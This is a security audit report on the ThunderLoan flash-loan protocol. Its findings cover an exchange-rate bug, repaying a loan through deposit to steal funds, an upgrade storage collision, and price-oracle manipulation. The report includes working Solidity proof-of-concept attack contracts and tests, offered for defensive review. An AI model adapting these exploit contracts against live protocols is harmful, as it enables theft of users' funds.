ThunderLoan Protocol Audit Report

Version 1.0

FalseGenius

May 18, 2024

ThunderLoan Protocol Audit Report

FalseGenius

May 18, 2024

Prepared by: FalseGenius Lead Auditors: - None

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#--- interfaces
   #--- IFlashLoanReceiver.sol
   #--- IPoolFactory.sol
   #--- ITSwapPool.sol
   #--- IThunderLoan.sol
#--- protocol
   #--- AssetToken.sol
   #--- OracleUpgradeable.sol
   #--- ThunderLoan.sol
#--- upgradedProtocol
    #--- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH
  -

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

I spent 4 days on Auditing this protocol

Issues found

Severity	Number of Issues Found
High	3
Medium	1
Low	0
Informational	0
Total	4

Findings

High

[H-01] Erroneous `assetToken::updateExchangeRate` in the `Thunderloan::deposit` function, blocks redeem and incorrectly sets the exchange rate.

Description: In ThunderLoan system, the `exchangeRate` is responsible for calculating exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how much fees to give to the liquidity providers.

However, `Thunderloan::deposit` updates the exchange rate without collecting fees.

```
1
2       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
3           ...
4           ...
5
6   @>      uint256 calculatedFee = getCalculatedFee(token, amount);
7   @>      assetToken.updateExchangeRate(calculatedFee);
8           token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
9       }
```

Impact: There are several impacts to this.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are miscalculated, leading to liquidity providers getting more or less than they deserved.

Proof of Concept:

1. LP deposits
2. Users takes a flash loan
3. It is now impossible for LP to redeem

PoC

```
1
2     function testRedeemAfterLoan() public setAllowedToken hasDeposits {
3         uint256 amountToBorrow = AMOUNT * 10;
4         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
5
6         vm.startPrank(user);
7         tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
8         thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
              amountToBorrow, "");
9         vm.stopPrank();
10
11        vm.prank(liquidityProvider);
12        vm.expectRevert();
13        thunderLoan.redeem(tokenA, type(uint256).max);
14    }
```

Recommended Mitigation: Consider removing the block of code that updates `exchangeRate` in `deposit` function.

```
1
2     function deposit(IERC20 token, uint256 amount) external
          revertIfZero(amount) revertIfNotAllowedToken(token) {
3         ...
4         ...
5
6 -       uint256 calculatedFee = getCalculatedFee(token, amount);
7 -       assetToken.updateExchangeRate(calculatedFee);
8         token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
9     }
```

[H-02] Use of `ThunderLoan::deposit` to repay loans, causes users to steal loan money

Description: The protocol is designed for users to take flash loans and repay it via `ThunderLoan::repay()` function, thus returning back the loan, with the added fee included to it. However, malicious users can take advantage of `deposit()` function to pay back the loan + fee, and get AssetToken in return, which they can use to redeem the loan + fee back, stealing the funds in the process.

Impact: Users can drain the contract balance without having to pay anything, severely impacting the intended functionality of the protocol.

Proof of Concept:

1. User takes a loan of 50 tokenA
2. User pays it back via `DepositOverRepay` contract using `deposit()` instead of `repay();`
3. User redeems the tokens, getting more tokens than they originally loaned.

PoC

Consider adding the following test to `ThunderLoanTest.t.sol`

```
1
2       function testUserDepositInsteadOfRepayToStealLoan() public
            setAllowedToken hasDeposits  {
3           vm.startPrank(user);
4           uint256 amountToBorrow = 50e18;
5           uint256 fee = thunderLoan.getCalculatedFee(IERC20(tokenA),
                amountToBorrow);
6           DepositOverRepay depositOverRepay =  new DepositOverRepay(
                address(thunderLoan));
7           tokenA.mint(address(depositOverRepay), fee);
8           thunderLoan.flashloan(address(depositOverRepay), IERC20(tokenA)
                , amountToBorrow, "");
9
10          depositOverRepay.redeemMoney();
11          vm.stopPrank();
12
13          assertGt(tokenA.balanceOf(address(depositOverRepay)),
                amountToBorrow + fee);
14      }
```

Add the following Contract to it as well,

```
1  contract DepositOverRepay is IFlashLoanReceiver {
2      // 1. Swap tokenA borrowed for weth
3      // 2. Take out another flashloan, to show the difference
4
5      ThunderLoan thunderLoan;
6      AssetToken assetToken;
7      IERC20 s_token;
8
9      constructor(address _thunderloan ) {
10         thunderLoan = ThunderLoan(_thunderloan);
11     }
12
13     function executeOperation(address token, uint256 amount, uint256
           fee, address /* initiator */, bytes calldata /*params */)
14         external
15         returns (bool)
16     {
17         s_token = IERC20(token);
18         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
```

```
19          s_token.approve(address(thunderLoan), amount + fee);
20          thunderLoan.deposit(IERC20(token), amount + fee);
21          return true;
22      }
23
24      function redeemMoney() public {
25          uint256 amount = assetToken.balanceOf(address(this));
26          thunderLoan.redeem(s_token, amount);
27      }
28  }
```

Recommended Mitigation: Consider adding checks to `deposit()` to ensure that users taking flash loans cannot pay back via the deposit function. Track the `receiverAddress` via a mapping to ensure they cannot enter when taking loan.

```
1  +    mapping(address receiverAddress => bool takingLoan) private
       s_currentlyLoaning;
2
3      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
4  +       if (s_currentlyLoaning[msg.sender]) revert();
5          AssetToken assetToken = s_tokenToAssetToken[token];
6          ...
7          ...
8      }
9
10         function flashloan(
11         address receiverAddress,
12         IERC20 token,
13         uint256 amount,
14         bytes calldata params
15     )
16         external
17         revertIfZero(amount)
18         revertIfNotAllowedToken(token)
19     {
20         ...
21
22         s_currentlyFlashLoaning[token] = true;
23 +       s_currentlyLoaning[receiverAddress] = true;
24
25         .
26         .
27         .
28         s_currentlyFlashLoaning[token] = false;
29 +       s_currentlyLoaning[receiverAddress] = false;
30     }
```

[H-03] Mixing variables causes storage collisions in `ThunderLoanUpgraded::s_flashLoanFee` and `ThunderLoanUpgraded::s_currentlyFlashLoaning`, freezing the protocol

Description: The `ThunderLoan.sol` contract has variables in following order,

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

The `ThunderLoanUpgraded.sol` contract has the same variables in a different order,

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity works, after contract upgrade, the `s_flashLoanFee` will have value of `s_feePrecision`. You cannot adjust the position of storage variables or remove storage variables for constant variables, as it breaks the storage locations.

Impact: The `s_flashLoanFee` will hold `s_feePrecision` value. This means users taking the flash loans will be charged wrong fee. More importantly, `s_currentlyFlashLoaning` will start in the wrong storage slot.

Proof of Concept: You can see the layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

```

    function testUpgradeBreaksStorage() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        assertTrue(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Recommended Mitigation: If you must remove storage variable, leave it as blank as to not mess up storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-01] Using TSwap as an Oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (Automated Market Maker). The price of a token is determined by how many reserves are on either side of the pool. It is easy for malicious users to manipulate the price by selling or buying large amounts of token in same transaction, essentially ignoring protocol fee.

Impact: Users will be charged less fees than intended and this fee impacts exchange rate when Liquidity providers redeem their tokens. They'd get less incentives than expected when they redeem.

Proof of Concept: The following happens in 1 transaction,

1. A malicious user takes a flash loan of 1000 `tokenA`. They're charged original fee.
2. This transaction gets routed to their malicious fallback contract.
3. Instead of repaying right away, user calls `Tswap::swapPoolTokenForWethBasedOnInputPoolToken()` to swap tokenA for Weth.
4. Tswap price gets changed, impacting the fee.
5. User takes a flash loan of 50 tokenA again, which is substantially cheaper.

PoC

```
1
2     function testOraclePriceManipulation() public {
3         // Set up contracts
4         thunderLoan = new ThunderLoan();
5         tokenA = new ERC20Mock();
6         ERC20Mock weth = new ERC20Mock();
7         proxy = new ERC1967Proxy(address(thunderLoan), "");
8         BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
              address(weth));
9         thunderLoan = ThunderLoan(address(proxy));
10        thunderLoan.initialize(address(poolFactory));
11
12        // Create TSwap DeX between Weth and tokenA
13        address tswapPool = poolFactory.createPool(address(tokenA));
14
15        // 1. Fund TSwap
16        vm.startPrank(liquidityProvider);
17        tokenA.mint(liquidityProvider, 100e18);
18        tokenA.approve(address(tswapPool), 100e18);
19        weth.mint(liquidityProvider, 100e18);
20        weth.approve(address(tswapPool), 100e18);
21
22        // Ratio 100 WETH & 100 tokenA
23        // Price= 1:1
```

```
24          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
               timestamp);
25          vm.stopPrank();
26
27          // 2. Fund Thunderloan
28          vm.prank(thunderLoan.owner());
29          thunderLoan.setAllowedToken(tokenA, true);
30
31          vm.startPrank(liquidityProvider);
32          tokenA.mint(liquidityProvider, 1000e18);
33          tokenA.approve(address(thunderLoan), 1000e18);
34          thunderLoan.deposit(tokenA, 1000e18);
35          vm.stopPrank();
36
37          // Current picture
38          // TSwap -------> 100 WETH & 100 tokenA
39          // ThunderLoan -> 1000 tokenA for people to borrow
40
41          // 3. We are going to take out  flash loans
42              // a. We're going to nuke the Weth/TokenA price on TSwap
43              // b. To show that it greatly reduces the fees we pay for
                   the loans
44
45          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
               100e18);
46          // 0.296
47          console.log("Normal fee cost: %s", normalFeeCost);
48
49          uint256 amountToBorrow = 50e18;
50          MaliciousContract mcontract = new MaliciousContract(address(
               thunderLoan), address(tswapPool), address(thunderLoan.
               getAssetFromToken(tokenA)));
51
52          vm.startPrank(user);
53
54          tokenA.mint(address(mcontract), 100e18);
55          thunderLoan.flashloan(address(mcontract), IERC20(tokenA),
               amountToBorrow, "");
56
57          vm.stopPrank();
58
59          uint256 attackFee = mcontract.feeOne() + mcontract.feeTwo();
60          console.log("feeOne: %s", mcontract.feeOne() );
61          console.log("feeTwo: %s", mcontract.feeTwo() );
62          assertLt(attackFee, normalFeeCost);
63      }
```

Also add the following contract to the `ThunderLoanTest.t.sol`,

```
1
2  contract MaliciousContract is IFlashLoanReceiver {
```

```
3       // 1. Swap tokenA borrowed for weth
4       // 2. Take out another flashloan, to show the difference
5
6       ThunderLoan thunderLoan;
7       address repayAddress;
8       BuffMockTSwap tswap;
9       uint256 public feeOne;
10      uint256 public feeTwo;
11      bool attacked;
12
13      constructor(address _thunderloan, address _tswap, address
            _repayAddress) {
14          thunderLoan = ThunderLoan(_thunderloan);
15          repayAddress = _repayAddress;
16          tswap = BuffMockTSwap(_tswap);
17      }
18
19      function executeOperation(address token, uint256 amount, uint256
            fee, address /* initiator */, bytes calldata /*params */)
20          external
21          returns (bool)
22      {
23          if (!attacked) {
24              feeOne = fee;
25              attacked = true;
26              uint256 wethBought = tswap.getOutputAmountBasedOnInput(50
                    e18, 100e18, 100e18);
27              IERC20(token).approve(address(tswap), 50e18);
28              // Tanks the price
29              tswap.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
30              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
31              // thunderLoan.repay(IERC20(token), amount + fee);
32              IERC20(token).transfer(repayAddress, amount + fee);
33
34          } else {
35              feeTwo = fee;
36
37              // thunderLoan.repay(IERC20(token), amount + fee);
38              IERC20(token).transfer(repayAddress, amount + fee);
39              // attacked = false;
40          }
41          return true;
42      }
43  }
```

Recommended Mitigation: Consider using a different oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.